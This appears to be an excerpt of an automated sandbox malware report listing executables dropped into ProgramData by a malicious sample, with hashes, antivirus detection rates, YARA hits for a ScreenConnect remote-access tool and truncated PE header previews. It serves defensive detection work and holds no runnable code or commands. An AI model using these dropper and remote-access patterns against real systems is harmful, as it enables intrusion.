Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\FRaqbC8wSA1XvpFVjCRGryWt.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (console) Intel 80386 Mono/.Net assembly, for MS Windows
Category:	dropped
Size (bytes):	697856
Entropy (8bit):	6.928945768865187
Encrypted:	false
SSDEEP:	12288:Llq9SNKjqNUt5LRfyUgpBvBV9aPp2exoxNxFhWuR4OM8AfCZghsWT9FLUI/D/vqO:Ll+SNKeslybnBOexBO
MD5:	4F5771AA008FB55801A3F9FBA7130F69
SHA1:	EAACE725791C08810198C08907B84B8850D4EF5B
SHA-256:	447ED0BDF4F8D0479545724B9578D2A3296B6BC5E2162D7BA405276234ECCF0D
SHA-512:	0CE8C4C44338D92F4A5F07F38A93812A85CE5524A4ED0C4E4D616127EA6FE02E94DF0938075B4D2DC3EEAD2FAC4A827230B0D2E1333BB51146D92417B1A5BFEC
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100% Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 76%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.......PE..L......f............................>.... ........@.. ....................................@....................................W.................................................................................... ............... ..H............text...D.... ...................... ..`.rsrc...............................@..@.reloc..............................@..B................ .......H.......HK...m......r...................................................l~.:........[s.vu.GH..9os.63.bG.I.........Z].0p.Q..u.........'G;...{z..g0o.}C..F..m^...Q.J...........;x.0..DI..,J?.U.6.q1=...dS.k;.]+j..`[..C..@...<..\|..uE....q/V...h....y.6lj.....A..N. ..a...Q.h...}XW.}.?...m0K..9..f.....eD.I..:AZn......"A.........>.(.#....3j.........r.L..$Wp...m.....I..WQ..On...$.}%.Z..u.I.!k...,.g[.lj..(v...t....;PK.....w#.].......6...v.s:.!..[.!G..i{...5...Pds.s

C:\ProgramData\IIZS2TRqf69aZbLAX3cf3edn.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32+ executable (GUI) x86-64, for MS Windows
Category:	dropped
Size (bytes):	1180160
Entropy (8bit):	7.703603560955088
Encrypted:	false
SSDEEP:	24576:KmUPjztESBDhakdbtl7vq6bknwKTaA9Cpr2r:KmUPv+eldbtl7i6FKeFpy
MD5:	18BBC3FB86E902AFB59C06811A5B01F4
SHA1:	E9EA82EA8199BCB882B933A90707D7CA71F25899
SHA-256:	FA480B199885433840ABE9D506CCF32FC75FC1DD771695CCE2DCB4F438A98D00
SHA-512:	FC62B3CD4067F2CD11AF16B2F1130DC21135B5E23100CB5ACAF2C235B9C1DB128110E5BB4BF38FC438666649E4C865524B9ECF67695FBD080AA3D349D627BC5C
Malicious:	true
Antivirus:	Antivirus: ReversingLabs, Detection: 83% Antivirus: Virustotal, Detection: 74%, Browse
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$.........*..y..y..y..+y..yvZ.x..yvZ.x..yvZ.x..ys..x..y..y..y..y..yGY.x..yRich..y........PE..d....P.f.........."....'.....z......0..........@.............................@............`.................................................\|...h................,...........0.......v..T....................x..(....t..@...............h............................text... ........................... ..`.rdata..X2.......4..................@..@.data...............................@....pdata...,..........................@..@_RDATA....... ......................@..@.reloc.......0......................@..B................................................................................................................................................................................................................................................................................

C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\SmLAztxc1o8yfogkJXrRjbDt.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\V6uPDVniSnRMWuLn5U9T3TGJ.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\YAPNXRPmcarcR4ZDgC81Tbdk.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	modified
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\b1s7nlT2NqFJ3sl3xbYiMCIq.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\hQdOgl4rhYQYx3G5aYY61LEd.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\ix4A2DreBBsQwY6YHkidcDjo.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\ixjnzi95HfqR77bieLYCT4aJ.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\oZolmRBaYFkuutSgcOrBLSAQ.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\xpTljBOh8s4KWiGtXsL1c00g.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\yDd3OJXsNQptgFrYILoygXLs.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\ProgramData\yt3cew8k69RKLpgTFur2iz2M.exe

Download File

Process:	C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	5649720
Entropy (8bit):	7.437063088535606
Encrypted:	false
SSDEEP:	98304:C9s6efPGi9gOTXohA4sJNtxutjIeGq7tq5O8TjoIi88Q:YfefPGi9gOTXsstxwMsvz
MD5:	E9DD0FC8F690BC7CBE71A51CF6C79F31
SHA1:	C3B5ADC55749AA4C60FD94FB75831966C012BEAA
SHA-256:	D2DAD56F10F5700FF7435A73010CCD4EBC2B6740EC4D5033E44EC382384C442C
SHA-512:	8A001F5343A90E13A84398F8339D15FAECBD1F209B631A9FDD4E67A5FCB170DACB25466E43CFDF35AF7F6545ECD71127DE3AF2E7BEAC7E08E6FF1661E513B741
Malicious:	true
Yara Hits:	Rule: JoeSecurity_ScreenConnectTool, Description: Yara detected ScreenConnect Tool, Source: C:\ProgramData\yt3cew8k69RKLpgTFur2iz2M.exe, Author: Joe Security
Reputation:	unknown
Preview:	MZ......................@...............................................!..L.!This program cannot be run in DOS mode....$........_..E>`.E>`.E>`...O>`...?>`...]>`..Ee.`>`..Ed.T>`..Ec.Q>`.LF.A>`.[l.F>`.E>a.%>`..Ei.D>`..E..D>`..Eb.D>`.RichE>`.................PE..L.....wc...............!..... T...................@.......................... U.......U...@..................................)..P....`..\|.S...........T.8_....U..... ...p...........................`...@...............<............................text............................... ..`.rdata..x`.......b..................@..@.data........@......................@....rsrc...\|.S..`....S.. ..............@..@.reloc........U.......T.............@..B................................................................................................................................................................................................................................................................................................

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\sys_updater.exe.log

Download File

Process:	C:\Users\user\AppData\Roaming\rZ9zgPTn\fUmkyMxT\eHW8MP9M\sys_updater.exe
File Type:	CSV text
Category:	dropped
Size (bytes):	621
Entropy (8bit):	5.361636180307982
Encrypted:	false
SSDEEP:	12:Q3La/KDLI4MWuPXcp1OKbbDLI4MWuPOKfSSI6KhayoDLI4MWuPCU6yVFO5iv:ML9E4KQwKDE4KGKZI6KhRAE4KKUNb
MD5:	1046826584BB384FCAB6BD1EB6AB124E
SHA1:	67659C715440EDB80D1EE39205E3340C535A4772
SHA-256:	2127F53B2007583A189268CC06216B9FCB10A990879D3E47C5FFED8017176687
SHA-512:	57600BAB3C3AB35EBA613F8D142B7388316C72D5AF573F6E41DFC844E6588A128DEDF538790F23C0DCEAC7991D8CB2376B291177A9A619291248E73B08AD24F2
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System\b187b7f31cee3e87b56c8edca55324e0\System.ni.dll",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Core\31326613607f69254f3284ec964796c8\System.Core.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_64\System.Xml\db3df155ec9c0595b0198c4487f36ca1\System.Xml.ni.dll",0..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\HM3SOlbpH71yEXUIEAOeIiGX.exe.log

Download File

Process:	C:\ProgramData\HM3SOlbpH71yEXUIEAOeIiGX.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	42
Entropy (8bit):	4.0050635535766075
Encrypted:	false
SSDEEP:	3:QHXMKa/xwwUy:Q3La/xwQ
MD5:	84CFDB4B995B1DBF543B26B86C863ADC
SHA1:	D2F47764908BF30036CF8248B9FF5541E2711FA2
SHA-256:	D8988D672D6915B46946B28C06AD8066C50041F6152A91D37FFA5CF129CC146B
SHA-512:	485F0ED45E13F00A93762CBF15B4B8F996553BAA021152FAE5ABA051E3736BCD3CA8F4328F0E6D9E3E1F910C96C4A9AE055331123EE08E3C2CE3A99AC2E177CE
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..

C:\Users\user\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\MSBuild.exe.log

Download File

Process:	C:\Windows\Microsoft.NET\Framework\v4.0.30319\MSBuild.exe
File Type:	ASCII text, with CRLF line terminators
Category:	dropped
Size (bytes):	1119
Entropy (8bit):	5.345080863654519
Encrypted:	false
SSDEEP:	24:MLUE4K5E4KH1qE4qXKDE4KhKiKhPKIE4oKNzKoZAE4Kze0E4j:MIHK5HKH1qHiYHKh3oPtHo6hAHKze0Hj
MD5:	88593431AEF401417595E7A00FE86E5F
SHA1:	1714B8F6F6DCAAB3F3853EDABA7687F16DD331F4
SHA-256:	ED5E60336FB00579E0867B9615CBD0C560BB667FE3CEE0674F690766579F1032
SHA-512:	1D442441F96E69D8A6D5FB7E8CF01F13AF88CA2C2D0960120151B15505DD1CADC607EF9983373BA8E422C65FADAB04A615968F335A875B5C075BB9A6D0F346C9
Malicious:	false
Reputation:	unknown
Preview:	1,"fusion","GAC",0..1,"WinRT","NotApp",1..2,"System.Windows.Forms, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089",0..3,"System, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System\920e3d1d70447c3c10e69e6df0766568\System.ni.dll",0..2,"System.Drawing, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a",0..3,"System.Core, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Core\8b2c1203fd20aea8260bfbc518004720\System.Core.ni.dll",0..3,"System.Configuration, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b03f5f7f11d50a3a","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Configuration\2192b0d5aa4aa14486ae08118d3b9fcc\System.Configuration.ni.dll",0..3,"System.Xml, Version=4.0.0.0, Culture=neutral, PublicKeyToken=b77a5c561934e089","C:\Windows\assembly\NativeImages_v4.0.30319_32\System.Xml\2062ed810929ec0e33254c02

C:\Users\user\AppData\Local\Temp\23495762359867\explert.exe

Download File

Process:	C:\Users\user\Desktop\RPHbzz3JqY.exe
File Type:	PE32 executable (GUI) Intel 80386, for MS Windows
Category:	dropped
Size (bytes):	331776
Entropy (8bit):	6.635102478988021
Encrypted:	false
SSDEEP:	6144:/DiElZeVJ9/+pPQHe5wocklXck9UBd4MvQhdaAadaH8CaTnlmIa+w4Iqr6KGus24:/DiETMgqkKBJm5+fnHYftcv7vQG6zIs
MD5:	848ABDBD09C052799A0E0180B59F6FEE
SHA1:	2F73B04BAF17C3A9F9D21F6F324D64306A10682C
SHA-256:	1AA0622A744EC4D28A561BAC60EC5E907476587EFBADFDE546D2B145BE4B8109
SHA-512:	EB3A87E787D151915DA06F89132D6E5B9B7682A3A69761795180050F42C7FBE8831049EE96410E7B7DE5E7C835CEFF1E24E84321CCCF8D6ED9BA5928BCA58203
Malicious:	true
Antivirus:	Antivirus: Avira, Detection: 100% Antivirus: Joe Sandbox ML, Detection: 100%
Reputation:	unknown
